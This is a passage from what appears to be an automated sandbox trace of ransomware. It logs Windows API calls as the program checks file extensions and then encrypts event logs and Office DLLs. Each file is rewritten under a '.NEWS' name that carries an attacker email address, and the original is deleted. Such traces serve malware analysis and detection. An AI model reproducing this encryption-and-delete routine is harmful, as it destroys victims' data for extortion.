lpString2=".evtx") returned -1 [0081.190] lstrlenW (lpString=".pdf") returned 4 [0081.190] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".xls") returned 4 [0081.190] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".xlsx") returned 5 [0081.190] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.190] lstrlenW (lpString=".ppt") returned 4 [0081.190] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".zip") returned 4 [0081.190] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".rar") returned 4 [0081.190] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".bz2") returned 4 [0081.190] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString=".7z") returned 3 [0081.190] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".dbf") returned 4 [0081.190] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".1cd") returned 4 [0081.190] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0081.190] lstrlenW (lpString=".jpg") returned 4 [0081.191] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.191] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0081.191] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0081.191] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0081.191] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0081.191] CloseHandle (hObject=0x308) returned 1 [0081.191] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0081.191] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.191] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0081.191] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.191] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.192] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0081.192] GetLastError () returned 0x0 [0081.192] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0081.487] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0081.489] ReadFile (in: hFile=0x308, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.489] WriteFile (in: hFile=0x398, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x102, lpOverlapped=0x0) returned 1 [0081.489] SetEndOfFile (hFile=0x398) returned 1 [0081.490] CloseHandle (hObject=0x398) returned 1 [0081.492] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.492] SetEndOfFile (hFile=0x308) returned 1 [0081.493] CloseHandle (hObject=0x308) returned 1 [0081.494] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.494] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0081.494] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.494] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.494] lstrlenW (lpString=".doc") returned 4 [0081.494] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString=".docx") returned 5 [0081.494] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.494] lstrlenW (lpString=".pdf") returned 4 [0081.494] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString=".xls") returned 4 [0081.494] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString=".xlsx") returned 5 [0081.494] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.494] lstrlenW (lpString=".ppt") returned 4 [0081.494] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.494] lstrlenW (lpString=".zip") returned 4 [0081.494] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString=".rar") returned 4 [0081.494] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.494] lstrlenW (lpString=".bz2") returned 4 [0081.495] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".7z") returned 3 [0081.495] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString=".dbf") returned 4 [0081.495] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString=".1cd") returned 4 [0081.495] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString=".jpg") returned 4 [0081.495] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString=".doc") returned 4 [0081.495] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".docx") returned 5 [0081.495] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.495] lstrlenW (lpString=".pdf") returned 4 [0081.495] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".xls") returned 4 [0081.495] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".xlsx") returned 5 [0081.495] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.495] lstrlenW (lpString=".ppt") returned 4 [0081.495] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.495] lstrlenW (lpString=".zip") returned 4 [0081.495] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".rar") returned 4 [0081.495] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".bz2") returned 4 [0081.495] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.495] lstrlenW (lpString=".7z") returned 3 [0081.495] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.496] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.496] lstrlenW (lpString=".dbf") returned 4 [0081.496] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.496] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.496] lstrlenW (lpString=".1cd") returned 4 [0081.496] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.496] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0081.496] lstrlenW (lpString=".jpg") returned 4 [0081.496] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.496] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.496] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0081.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.718] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=19136) returned 1 [0081.718] CloseHandle (hObject=0x2f4) returned 1 [0081.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0081.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.719] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.719] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0081.720] GetLastError () returned 0x0 [0081.720] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0081.722] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0081.724] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.724] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x114, lpOverlapped=0x0) returned 1 [0081.724] SetEndOfFile (hFile=0x374) returned 1 [0081.724] CloseHandle (hObject=0x374) returned 1 [0081.726] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.726] SetEndOfFile (hFile=0x2f4) returned 1 [0081.727] CloseHandle (hObject=0x2f4) returned 1 [0081.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.727] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0081.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.728] lstrlenW (lpString=".doc") returned 4 [0081.728] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString=".docx") returned 5 [0081.728] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.728] lstrlenW (lpString=".pdf") returned 4 [0081.728] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString=".xls") returned 4 [0081.728] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString=".xlsx") returned 5 [0081.728] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.728] lstrlenW (lpString=".ppt") returned 4 [0081.728] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.728] lstrlenW (lpString=".zip") returned 4 [0081.728] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString=".rar") returned 4 [0081.728] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.728] lstrlenW (lpString=".bz2") returned 4 [0081.728] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.729] lstrlenW (lpString=".7z") returned 3 [0081.729] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.729] lstrlenW (lpString=".dbf") returned 4 [0081.729] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.729] lstrlenW (lpString=".1cd") returned 4 [0081.729] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.729] lstrlenW (lpString=".jpg") returned 4 [0081.729] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.729] lstrlenW (lpString=".doc") returned 4 [0081.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.729] lstrlenW (lpString=".docx") returned 5 [0081.729] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.729] lstrlenW (lpString=".pdf") returned 4 [0081.729] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.729] lstrlenW (lpString=".xls") returned 4 [0081.729] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.729] lstrlenW (lpString=".xlsx") returned 5 [0081.729] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.729] lstrlenW (lpString=".ppt") returned 4 [0081.729] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.730] lstrlenW (lpString=".zip") returned 4 [0081.730] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.730] lstrlenW (lpString=".rar") returned 4 [0081.730] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.730] lstrlenW (lpString=".bz2") returned 4 [0081.730] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.730] lstrlenW (lpString=".7z") returned 3 [0081.730] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.730] lstrlenW (lpString=".dbf") returned 4 [0081.730] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.730] lstrlenW (lpString=".1cd") returned 4 [0081.730] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0081.730] lstrlenW (lpString=".jpg") returned 4 [0081.730] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.730] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.730] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0081.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.731] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=19136) returned 1 [0081.731] CloseHandle (hObject=0x2f4) returned 1 [0081.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0081.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.731] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.731] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0081.732] GetLastError () returned 0x0 [0081.732] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0081.734] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0081.736] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.736] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x114, lpOverlapped=0x0) returned 1 [0081.736] SetEndOfFile (hFile=0x374) returned 1 [0081.736] CloseHandle (hObject=0x374) returned 1 [0081.737] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.738] SetEndOfFile (hFile=0x2f4) returned 1 [0081.739] CloseHandle (hObject=0x2f4) returned 1 [0081.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.741] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.742] lstrlenW (lpString=".doc") returned 4 [0081.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString=".docx") returned 5 [0081.742] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.742] lstrlenW (lpString=".pdf") returned 4 [0081.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString=".xls") returned 4 [0081.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString=".xlsx") returned 5 [0081.742] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.742] lstrlenW (lpString=".ppt") returned 4 [0081.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.742] lstrlenW (lpString=".zip") returned 4 [0081.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString=".rar") returned 4 [0081.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.742] lstrlenW (lpString=".bz2") returned 4 [0081.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.742] lstrlenW (lpString=".7z") returned 3 [0081.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.742] lstrlenW (lpString=".dbf") returned 4 [0081.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.742] lstrlenW (lpString=".1cd") returned 4 [0081.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".jpg") returned 4 [0081.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".doc") returned 4 [0081.743] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString=".docx") returned 5 [0081.743] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.743] lstrlenW (lpString=".pdf") returned 4 [0081.743] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString=".xls") returned 4 [0081.743] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString=".xlsx") returned 5 [0081.743] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.743] lstrlenW (lpString=".ppt") returned 4 [0081.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".zip") returned 4 [0081.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString=".rar") returned 4 [0081.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.743] lstrlenW (lpString=".bz2") returned 